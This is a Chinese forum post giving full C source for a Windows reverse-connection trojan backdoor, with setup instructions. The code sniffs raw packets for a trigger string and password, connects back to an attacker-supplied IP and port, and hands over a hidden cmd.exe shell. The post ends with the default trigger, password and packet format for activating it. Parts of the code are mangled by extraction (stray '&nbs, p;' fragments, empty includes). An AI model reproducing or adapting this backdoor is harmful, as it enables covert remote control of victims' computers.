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| 关键词： nbsp sck return char unsigned ConCloseHandle USERCONTSTK UserSck int addr |
第四个反弹木马代码：作者ZV 比较完整的.for winnt的.compiler by vc 6.0. 我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少.. 代码 #include "mainheader.h" MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"}; //打印帮助void Usage(char *programName) { char szHelp[] = ""; fprintf(stderr,"%s usage:%s\n",programName,szHelp);} //初始化参数int HandleOptions(int argc,char *argv[]) { int i,rn=1; for (i=1; i< argc;i++) { if (argv[i][0] == '-') { switch (argv[i][1]) { case '?': case 'h': case 'H': Usage(argv[0]); rn = 0; break; default: Usage(argv[0]); rn = 0; break; } } } return rn;} //正式开始工作的主函数extern int ListenUserMain(void);int mGotoStart(){ //申请网络 if(!SetSocketDll()) return 0; int ret=0;//出错最大100次就结束程序 while(true){ if(!ListenUserMain()){ if(ret++ > 100) break; } } return 1; } //程序入口int main(int argc, char* argv[]) { if(argc > 1) { if(HandleOptions(argc,argv)) { return 1; }else { return 0; } }else { mGotoStart(); return 1; } return 1;} 上面这个部分除了mGotoStart();这个函数,其他都是内部的. 这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下: #include "mainheader.h" #define MAX_PACK_LEN 65535 #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) SNIFFERDATASTK sfStk; //判断数据包的正确性int ChkBuff(char *msg, int msglen){ int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd); if(strnicmp(msg, mpStk.KeyData, i1) == 0){ char *fp = &msg[i1+1]; if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){ return 0; } if(!chkPass(sfStk.name)){ return 0; } return 1; } return 0;} //数据包解包int DecodePack(char *buf, int buflen){ IP_HEADER *pIpheader; int iProtocol; pIpheader = (IP_HEADER *)buf; iProtocol = pIpheader->proto; int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf); int PackSize = 0; switch(iProtocol){ case IPPROTO_UDP: PackSize = sizeof(UDP_HEADER); break; case IPPROTO_ICMP: PackSize = sizeof(UDP_HEADER); break; case IPPROTO_TCP: PackSize = sizeof(TCP_HEADER); default : return 0; } if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10)) return 0; if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize)) return 1; return 0;} //循环接收数据包int RecvRightData(SOCKET Sock){ char RecvBuf[MAX_PACK_LEN]; int RecvDataLen; while(true){ memset(RecvBuf, 0, MAX_PACK_LEN); RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0); if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46) return 0; if(DecodePack(RecvBuf, RecvDataLen)){ return 1; } } return 0;} //获得本机外部ipunsigned long msGetipByStrOUT(){ char in[20]="",out[20]=""; if(msGetip(in,out)){ return inet_addr(out); }else{ return inet_addr("127.0.0.1"); }} //设置网络环境,开始嗅探int Start_Sniffer(SOCKET SnfSock){ SOCKADDR_IN addr_in; addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT(); if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){ ConCloseSocket(&SnfSock); return 0; } DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; if(SOCKET_ERROR == WSAIoctl(SnfSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL)){ ConCloseSocket(&SnfSock); return 0; } return 1;} //网络开始函数extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);int ListenUserMain(void){ SOCKET SnfSock; if(!SetSocketHand(&SnfSock, SOCK_RAW)) { return 0; } if(!Start_Sniffer(SnfSock)) { return 0; } if(!RecvRightData(SnfSock)) { ConCloseSocket(&SnfSock); return 0; } ConCloseSocket(&SnfSock); if(!SetSocketHand(&SnfSock, SOCK_STREAM)) { return 0; } if(!ContoReServer(&SnfSock, (unsigned short)atoi(sfStk.nPort), sfStk.szIp)) { ConCloseSocket(&SnfSock); return 0; } if(!UserThreadFunc((LPVOID)&SnfSock)){ return 0; } return 1;} 上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探. UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下: #include "mainheader.h" //关闭cmd进程,防止用户强行断开连接void closeCMD(USERCONTSTK * sck){ if(sck->procinfo.hProcess != NULL){ TerminateProcess(sck->procinfo.hProcess, -9); ConCloseHandle(&sck->procinfo.hProcess); }} //结束交互线程B,并关闭相应资源void KillThreadHdB(USERCONTSTK * sck){ if(sck->UserThreadHdB != NULL){ TerminateThread(sck->UserThreadHdB, 0); ConCloseHandle(&sck->UserThreadHdB); ConCloseHandle(&sck->hReadPipe); ConCloseHandle(&sck->hReadFile); ConCloseHandle(&sck->hWriteFile); ConCloseHandle(&sck->hWritePipe); xfree(sck->buff); }} //结束cmd交互,并中断连接void quitTELcon(USERCONTSTK * sck){ if(sck->getCMD == 1){ KillThreadHdB(sck); closeCMD(sck); sck->getCMD = 0; } rnvCasemsg(sck->UserSck, "Bye~^_^~\r\n"); sck->ExitIn = 1;} //结束cmd交互,返回后门shell下void backtoCON(USERCONTSTK * sck){ KillThreadHdB(sck); rnvCasemsg(sck->UserSck,"==========================\r\n" "S8S8\\>"); sck->getCMD = 0;} //交互线程B,获取cmd输出,发送给用户端DWORD WINAPI ThreadFuncB(LPVOID lpParam){ #define MAX_BUFF_TB 4096 USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam; ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char)); if(ThreadST->buff == NULL) return 0; ThreadST->Bann = 1; unsigned long howlong; DWORD rest; while(true){ rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL); if(rest <= 0){ xfree(ThreadST->buff); return 0; } send(ThreadST->UserSck, ThreadST->buff, howlong, 0); } return 0;} //产生并捆绑一个cmdshell.short GetConSel(USERCONTSTK *sck){ if(sck->getCMD == 1) { return 0; } memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA)); sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES); sck->pipeattrA.lpSecurityDescriptor = NULL; sck->pipeattrA.bInheritHandle = TRUE; if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){ rnvErrorID(sck->UserSck, "CreatePipe:"); return 0; } memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB)); sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES); sck->pipeattrB.lpSecurityDescriptor = NULL; sck->pipeattrB.bInheritHandle = TRUE; if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){ rnvErrorID(sck->UserSck, "CreatePipe:"); ConCloseHandle(&sck->hReadPipe); ConCloseHandle(&sck->hWriteFile); return 0; } DWORD UserThreadIdB; sck->Bann = 0; if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0, &UserThreadIdB))==0){ rnvErrorID(sck->UserSck, "CreateThreadB:"); ConCloseHandle(&sck->hReadPipe); ConCloseHandle(&sck->hWriteFile); ConCloseHandle(&sck->hReadFile); ConCloseHandle(&sck->hWritePipe); return 0; } STARTUPINFO starinfo; GetStartupInfo(&starinfo); starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; starinfo.hStdInput = sck->hReadPipe; starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe; starinfo.wShowWindow = SW_HIDE; char Cmdpath[MAX_PATH+20] = ""; char ConSystemPath[MAX_PATH] = ""; DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH); if(ren != strlen(ConSystemPath)){ rnvErrorID(sck->UserSck, "GetSystemDirectory:"); KillThreadHdB(sck); return 0; } sprintf(Cmdpath, "%s\\cmd.exe", ConSystemPath); if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo, &sck->procinfo)==0){ rnvErrorID(sck->UserSck, "CreateProcess:"); KillThreadHdB(sck); return 0; } sprintf(Cmdpath,"========================\r\n" "=ThreadID = %ld\r\n" "=ProcessID = %ld\r\n" "========================\r\n\0", UserThreadIdB, sck->procinfo.dwProcessId); rnvCasemsg(sck->UserSck, Cmdpath);//如果建立线程B超时,退出 short _timeOut = 0; while(sck->Bann == 0){ if(_timeOut++ > 50){ rnvErrorID(sck->UserSck, "TIMEOUT"); closeCMD(sck); KillThreadHdB(sck); return 0; } Sleep(50); }//设置为已经获得cmdshell sck->getCMD = 1; return 1;} //输出bannervoid TypeHelp(USERCONTSTK * sck){ rnvCasemsg(sck->UserSck,"\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n" "+quit exit\r\n" "+help exit\r\n" "+shell cmd shell\r\n" "+++++++++++++++++++++++++++++++++++++++++++++++++++\r\n");} //命令行分析void WINAPI gocommand(USERCONTSTK * sck,char *comm){ ConDel1013(comm); char cmdline[10][256] = {""}; int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1; if(strcmpi(cmdline[0], "") == 0){ return; } cmdline[0][0]=toupper(cmdline[0][0]); switch(cmdline[0][0]){ case 'Q':{ if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0) && comline_num == 1) quitTELcon(sck); else goto NoCommand; break; } case 'S':{ if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0) && comline_num == 1) GetConSel(sck); else goto NoCommand; break; } case '?': case 'H':{ if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0)) TypeHelp(sck); else goto NoCommand; break; } default: NoCommand: rnvCasemsg(sck->UserSck,"Bad Command!\r\n"); } } //交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入void BeginShell(USERCONTSTK *sck){ char buff[1024] = {0},buf[1024] = {0}; long howlong; DWORD nothing; rnvCasemsg(sck->UserSck, "++++++++++++++++++++++++++++++++++++\r\n" "+Easy BackDoor\r\n" "+Coder By ZV([email protected])\r\n" "+Site http://www.s8s8.net\r\n" "++++++++++++++++++++++++++++++++++++\r\n" "S8S8\\>"); while(true){ memset(buf, 0, 1024); howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0); if(howlong <= 0){ quitTELcon(sck); return; } strncat(buff, buf, howlong); if(buf[howlong-1] == '\n'){ if(sck->getCMD != 0){ if(buff[0] == '`'){ gocommand(sck, buff + 1); }else{ WriteFile(sck->hWriteFile, buff, strlen(buff), ¬hing, NULL); if(!strnicmp(buff, "exit", 4)) backtoCON(sck); } }else{ gocommand(sck, buff); if(sck-> ExitIn == 1){ return; } rnvCasemsg(sck->UserSck, "S8S8\\>"); } memset(buff, 0, 1024); if(sck-> ExitIn == 1){ return; } } }} //用户界面入口,申请一个结构用来保存,是为了兼容多用户DWORD WINAPI UserThreadFunc(LPVOID lpParam){ USERCONTSTK *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK)); if(sck == NULL){ rnvErrorID(*(SOCKET *)lpParam, "malloc:"); ConCloseSocket((SOCKET *)lpParam); return 0; } memset(sck, 0, sizeof(USERCONTSTK)); sck->UserSck = *(SOCKET *)lpParam; BeginShell(sck); ConCloseSocket(&sck->UserSck); free(sck); return 1;} 最后一个部分是公共函数部分,提供了一些函数的包装.如下: #include "mainheader.h" #define MAX_TIMEOUT 20000 //关闭socket句柄void ConCloseSocket(SOCKET *Sock) { if(*Sock == 0 || *Sock == SOCKET_ERROR) return; closesocket(*Sock); *Sock = 0;} //关闭句柄void ConCloseHandle(HANDLE *Hand){ if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE) return; CloseHandle(*Hand); *Hand = NULL;} //释放内存void xfree(char *bf){ if(bf == NULL || bf == 0) return; free(bf); bf = NULL;} //设置监听int LocalListen(SOCKET Sock) { if(listen(Sock, 5) == SOCKET_ERROR) return 0; return 1;} //连接远程服务器int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) { struct sockaddr_in server_addr; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); struct hostent *server_host; server_host = gethostbyname( reAddr ); if(server_host == NULL) return 0; memcpy( (void *) &server_addr.sin_addr, (void *) server_host->h_addr, server_host->h_length ); int len = sizeof( server_addr ); if( connect( *sock, (struct sockaddr *) &server_addr, len ) < 0 ) return 0; return 1;} //申请网络环境int SetSocketDll(void) { WSADATA wsaData; if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){ return 0; } return 1;} //申请连接句柄int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) { *Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP); if(*Sock == SOCKET_ERROR) return 0; return 1;} //发送消息给用户端void rnvCasemsg(SOCKET Sock, char *msg) { if (strlen(msg) <= 0) return; send(Sock, msg, strlen(msg),0);} //发送带错误码的消息给用户端void rnvErrorID(SOCKET Sock, char *msg) { char rmsg[256] = {""}; sprintf(rmsg, "\r\nERROR>%s:%d\r\n", msg, GetLastError()); rnvCasemsg(Sock, rmsg);} //兼容nc和telnetvoid ConDel1013(char *str) { for(unsigned int i =0; i < strlen(str); i++) if(str[i] == '\r' || str[i] == '\n') str[i] = '\0';} extern MAINPARAMETERSTK mpStk; //密码比较,这里可以加上md5short chkPass(char *pass) { if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0) return 1; return 0;} //分解命令行的函数short getcmdline(char *comm, char *cmdline, short cont, short num){ short j = 0, geti = 0, is20 = 0; for(short i = 0; comm[i] != '\0' && geti < num; i++){ if(comm[i] != ' ' || is20 >= 1){ if(comm[i] == '"') is20++; else if(is20 >= 2 && comm[i] == ' ') is20 = 0; else if(j < cont){ &nbs, p; &nb, sp; cmdline[geti * cont + j] = comm[i]; j++; } } if(comm[i] == ' ' && geti < num && is20 == 0){ geti++; j = 0; } } return geti;} //获得本机IP函数int msGetip(char *ipin, char* ipout){ char cHostName[80]=""; if((gethostname(cHostName, 80)) == SOCKET_ERROR) return false; struct hostent *Host = gethostbyname(cHostName); if(NULL!=Host){ struct in_addr addr; int i = 0; while(Host->h_addr_list[i] != NULL){ memcpy(&addr, Host->h_addr_list[i], sizeof(addr)); if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else if(addr.S_un.S_un_b.s_b1 == 10 ){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else{ if(strlen(ipout) == 0){ strcpy(ipout, inet_ntoa(addr)); } } i++; } if(strlen(ipout) == 0) { strcpy(ipout, ipin); } if(strlen(ipin) == 0){ strcpy(ipin, ipout); } return 1; } return 0;} 还要来一个就是程序的头文件, 如下: #include #include #include #include #include //用户结构typedef struct _USERCONTSTK{ int getCMD; char* buff; int ExitIn; int Bann; SOCKET UserSck; HANDLE UserThreadHdB; HANDLE hWritePipe; HANDLE hWriteFile; HANDLE hReadPipe; HANDLE hReadFile; SECURITY_ATTRIBUTES pipeattrA; SECURITY_ATTRIBUTES pipeattrB; PROCESS_INFORMATION procinfo; }USERCONTSTK,*PUSERCONTSTK; //后门参数结构typedef struct _MAINPARAMETERSTK{ char szUserPasd[100]; char KeyData[100];}MAINPARAMETERSTK,*PMAINPARAMETERSTK; //嗅探数据结构typedef struct _SNIFFERDATASTK{ char name[100]; char szIp[100]; char nPort[100];}SNIFFERDATASTK,*PSNIFFERDATASTK; //ip头部结构typedef struct _iphdr { unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; //tcp头部结构typedef struct _tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; //udp头部结构typedef struct _udphdr { unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_len; unsigned short uh_sum; } UDP_HEADER; //icmp头部结构typedef struct _icmphdr { BYTE i_type; BYTE i_code; USHORT i_cksum; USHORT i_id; USHORT i_seq; ULONG timestamp; }ICMP_HEADER; //一些变量和函数的声名extern MAINPARAMETERSTK mpStk; extern void ConCloseSocket(SOCKET *Sock);extern int LocalListen(SOCKET Sock);extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);extern int SetSocketDll(void);extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);extern void rnvCasemsg(SOCKET Sock, char *msg);extern void rnvErrorID(SOCKET Sock, char *msg);extern void ConDel1013(char *str);extern short chkPass(char *pass);extern short getcmdline(char *comm, char *cmdline, short cont, short num);extern int msGetip(char *ipin, char* ipout);extern void ConCloseHandle(HANDLE *Hand);extern void xfree(char *bf); 所有的公共函数都在这里面. 后语: 之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题. 另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^. 以下是编译好后测试的一张图:主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop". 发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是: 代码: www.s8s8.net zvrop 192.168.1.2 8888 分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 注意顺序不要颠倒. |
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